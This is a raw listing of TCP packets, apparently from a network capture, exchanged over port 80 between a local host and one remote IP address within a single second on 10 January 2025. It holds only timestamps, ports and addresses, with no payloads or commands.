Jan 10, 2025 21:32:41.671333075 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.671726942 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.671739101 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.671751022 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.671761990 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.671768904 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.671775103 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.671787024 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.671789885 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.671802044 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.671813965 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.671814919 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.671828032 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.671844006 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.671875000 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.672480106 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.672503948 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.672524929 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.672528982 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.672537088 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.672549009 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.672560930 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.672570944 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.672573090 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.672585964 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.672590971 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.672601938 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.672612906 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.672626019 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.672626972 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.672635078 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.672646046 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.672677040 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.673434019 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.673449993 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.673463106 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.673485041 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.673502922 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.673525095 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.673537970 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.673549891 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.673561096 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.673574924 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.673588037 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.673590899 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.673602104 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.673629999 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.673634052 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.673640966 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.673648119 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.673686981 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.674570084 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.674585104 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.674598932 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.674612045 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.674624920 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.674635887 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.674637079 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.674650908 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.674662113 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.674674034 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.674674988 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.674688101 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.674693108 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.674700022 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.674715042 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.674721003 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.674746037 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.675373077 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.675385952 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.675399065 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.675421000 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.675446987 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.694418907 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.706491947 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.708694935 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.708712101 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.708724976 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.708765984 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.746711969 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.746742964 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.746773005 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.746783018 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.746795893 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.746809006 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.746822119 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.746855021 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.746856928 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.746869087 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.746881008 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.746917009 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.746936083 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.746948957 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.746962070 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.746975899 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.747001886 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.760907888 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.760931015 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.760945082 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.760957003 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.760972977 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.760984898 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.760987043 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.761001110 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.761034012 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.784796000 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.784894943 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.784965992 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.784981012 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.784995079 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.785006046 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.785017967 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.785027027 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.785032034 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.785043955 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.785048962 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.785065889 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.785078049 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.785082102 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.785093069 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.785106897 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.785118103 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.785149097 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.798888922 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.798916101 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.798927069 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.798939943 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.798954964 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.798959970 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.798990965 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.798998117 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.799029112 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.799046993 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.799091101 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.799146891 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.799160004 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.799175024 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.799186945 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.799210072 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.799232006 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.799283028 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.799304962 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.799349070 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.799351931 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.799379110 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.799391985 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.799403906 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.799426079 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.799447060 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.799525023 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.799537897 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.799573898 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.799577951 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.799590111 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.799603939 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.799627066 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.799629927 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.799642086 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.799654961 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.799665928 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.799666882 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.799693108 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.799894094 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.799936056 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.800064087 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.800075054 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.800092936 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.800105095 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.800108910 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.800117016 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.800129890 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.800143957 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.800156116 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.800173998 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.800332069 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.800344944 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.800359964 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.800371885 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.800380945 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.800384998 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.800391912 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.800426006 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.800525904 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.800539017 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.800553083 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.800585985 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.800600052 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.800602913 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.800614119 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.800623894 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.800627947 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.800640106 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.800652981 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.800652981 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.800677061 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.800679922 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.800695896 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.800709009 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.800719023 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.800720930 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.800734043 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.800746918 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.800746918 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.800760984 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.800770044 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.800797939 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.803940058 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.803956032 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.803967953 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.803981066 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.803993940 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.804006100 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.804024935 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.804066896 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.804101944 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.804110050 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.804115057 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.804126978 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.804138899 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.804150105 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.804151058 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.804164886 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.804176092 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.804181099 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.804189920 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.804210901 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.804229975 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.804452896 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.804500103 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.804513931 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.804539919 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.804630041 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.804647923 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.804661036 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.804672956 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.804677963 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.804687023 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.804698944 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.804701090 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.804711103 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.804725885 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.804733038 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.804739952 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.804749966 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.804778099 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.804778099 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.805126905 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.805141926 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.805162907 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.805169106 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.805186987 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.805200100 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.805201054 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.805212975 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.805227041 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.805241108 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.805260897 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.837366104 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.837379932 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.837399960 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.837414026 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.837426901 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.837436914 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.837440014 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.837451935 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.837465048 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.837469101 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.837477922 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.837491989 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.837533951 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.837537050 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.837549925 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.837553978 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.837563992 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.837577105 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.837591887 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.837615967 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.837636948 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.851593018 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.851608038 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.851639032 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.851644993 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.851650000 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.851663113 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.851674080 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.851674080 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.851686001 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.851708889 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.851727962 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.860557079 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.875567913 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.875632048 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.875644922 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.875658035 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.875670910 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.875674009 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.875685930 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.875698090 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.875703096 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.875751972 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.889611006 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.889638901 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.889650106 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.889662981 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.889667034 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.889695883 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.889702082 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.889715910 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.889738083 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.889744997 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.889774084 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.889775991 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.889787912 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.889799118 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.889811039 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.889825106 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.889836073 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.889852047 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.889906883 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.889929056 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.889964104 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.889976978 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.889987946 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890000105 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890002012 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.890012026 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890036106 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.890063047 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.890106916 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890115976 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890132904 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890146017 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890156984 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890171051 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890186071 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890192986 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890199900 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.890201092 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890230894 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.890240908 CET	49717	80	192.168.2.10	193.143.1.205
